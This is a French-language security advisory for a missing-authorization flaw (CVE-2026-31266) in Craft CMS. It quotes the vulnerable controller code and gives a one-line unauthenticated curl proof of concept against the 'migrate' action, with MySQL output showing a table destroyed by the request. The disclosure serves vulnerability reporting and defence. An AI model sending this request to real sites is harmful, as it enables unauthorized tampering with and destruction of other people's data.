CVE-2026-31266 - Autorisation manquante dans Craft CMS

Informations CVE

Champ	Valeur
ID CVE	CVE-2026-31266
Fournisseur	Pixel & Tonic
Produit	Craft CMS
Versions concernées	<= 5.9.5
CWE	CWE-862 (Autorisation manquante)
CVSS	7.3 (Élevé)
Chercheur en sécurité	0xRIXET

Contenu des preuves

• screenshots/ - Démonstrations de preuve de concept

Vulnérabilité

• Type: Autorisation manquante
• Impact: Contournement d'authentification
• Fournisseur: Craft CMS
• Statut: CVE-2026-31266

Code vulnérable

Fichier: src/controllers/AppController.php

Lignes 65-68:

protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

Preuve de concept

# Avec allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

Preuve

Avant l'attaque :

mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

Après l'attaque :

mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

Références

• Dépôt Craft CMS
• Documentation de sécurité Craft
• Entrée NVD

Contact

• Chercheur en sécurité: 0xRIXET | Mohammed Al-shehri
• Twitter | X : @0xRIXET
• Email: [email protected]